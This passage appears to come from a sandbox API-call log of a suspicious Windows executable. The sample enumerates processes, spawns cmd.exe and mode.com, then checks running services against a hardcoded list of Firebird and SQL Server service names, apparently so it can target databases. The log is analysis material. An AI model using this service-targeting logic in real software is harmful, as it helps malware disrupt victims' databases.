th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0187.807] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0187.807] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0187.807] lstrlenW (lpString="Memory Compression") returned 18 [0187.807] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0187.808] lstrlenW (lpString="sihost.exe") returned 10 [0187.808] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.808] lstrlenW (lpString="svchost.exe") returned 11 [0187.808] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0187.809] lstrlenW (lpString="taskhostw.exe") returned 13 [0187.809] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0187.809] lstrlenW (lpString="msoia.exe") returned 9 [0187.809] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.810] lstrlenW (lpString="explorer.exe") returned 12 [0187.810] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0187.810] lstrlenW (lpString="SearchUI.exe") returned 12 [0187.810] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0187.811] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0187.811] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0187.811] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0187.811] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0187.812] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0187.812] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0187.812] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0187.812] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0187.812] lstrlenW (lpString="cmd.exe") returned 7 [0187.812] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0187.813] lstrlenW (lpString="conhost.exe") returned 11 [0187.813] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0187.813] lstrlenW (lpString="mode.com") returned 8 [0187.813] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0187.814] lstrlenW (lpString="consent.exe") returned 11 [0187.814] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0187.814] CloseHandle (hObject=0x4d8) returned 1 [0187.814] Sleep (dwMilliseconds=0x1f4) [0188.426] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b238 [0188.426] EnumServicesStatusExW (in: hSCManager=0x447b238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0188.426] GetLastError () returned 0xea [0188.426] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0188.427] EnumServicesStatusExW (in: hSCManager=0x447b238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0188.428] CloseServiceHandle (hSCObject=0x447b238) returned 1 [0188.428] lstrlenW (lpString="Appinfo") returned 7 [0188.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0188.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0188.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0188.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0188.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0188.448] lstrlenW (lpString="AppXSvc") returned 7 [0188.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0188.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0188.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0188.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0188.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0188.448] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.448] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.448] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.448] lstrlenW (lpString="Audiosrv") returned 8 [0188.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0188.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0188.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0188.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0188.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0188.448] lstrlenW (lpString="BFE") returned 3 [0188.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.448] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.448] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.449] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0188.449] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0188.449] lstrlenW (lpString="CDPSvc") returned 6 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0188.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0188.449] lstrlenW (lpString="ClickToRunSvc") returned 13 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0188.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0188.449] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0188.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0188.449] lstrlenW (lpString="CryptSvc") returned 8 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0188.449] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0188.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0188.449] lstrlenW (lpString="DcomLaunch") returned 10 [0188.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.449] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.450] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.450] lstrlenW (lpString="DeviceAssociationService") returned 24 [0188.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.450] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0188.450] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0188.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0188.450] lstrlenW (lpString="Dhcp") returned 4 [0188.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.450] lstrlenW (lpString="Dnscache") returned 8 [0188.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.451] lstrlenW (lpString="DPS") returned 3 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0188.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0188.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0188.451] lstrlenW (lpString="DsmSvc") returned 6 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0188.451] lstrlenW (lpString="DusmSvc") returned 7 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0188.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0188.451] lstrlenW (lpString="EventLog") returned 8 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0188.451] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0188.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0188.451] lstrlenW (lpString="EventSystem") returned 11 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.451] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.451] lstrlenW (lpString="FontCache") returned 9 [0188.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0188.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0188.451] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0188.452] lstrlenW (lpString="gpsvc") returned 5 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.452] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.452] lstrlenW (lpString="iphlpsvc") returned 8 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.452] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0188.452] lstrlenW (lpString="KeyIso") returned 6 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0188.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0188.452] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0188.452] lstrlenW (lpString="LanmanServer") returned 12 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0188.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0188.452] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0188.452] lstrlenW (lpString="LanmanWorkstation") returned 17 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0188.452] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0188.452] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0188.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0188.452] lstrlenW (lpString="lfsvc") returned 5 [0188.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0188.453] lstrlenW (lpString="lmhosts") returned 7 [0188.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0188.453] lstrlenW (lpString="LSM") returned 3 [0188.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0188.453] lstrlenW (lpString="MpsSvc") returned 6 [0188.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0188.453] lstrlenW (lpString="NcbService") returned 10 [0188.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0188.453] lstrlenW (lpString="netprofm") returned 8 [0188.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0188.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0188.453] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0188.453] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0188.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0188.453] lstrlenW (lpString="NgcSvc") returned 6 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0188.454] lstrlenW (lpString="NlaSvc") returned 6 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0188.454] lstrlenW (lpString="nsi") returned 3 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0188.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0188.454] lstrlenW (lpString="PcaSvc") returned 6 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0188.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0188.454] lstrlenW (lpString="PlugPlay") returned 8 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0188.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0188.454] lstrlenW (lpString="Power") returned 5 [0188.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0188.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0188.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0188.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0188.455] lstrlenW (lpString="ProfSvc") returned 7 [0188.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0188.455] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0188.455] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0188.455] lstrlenW (lpString="RpcEptMapper") returned 12 [0188.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0188.455] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0188.455] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0188.455] lstrlenW (lpString="RpcSs") returned 5 [0188.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0188.455] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0188.455] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0188.455] lstrlenW (lpString="SamSs") returned 5 [0188.455] lstrcmpiW 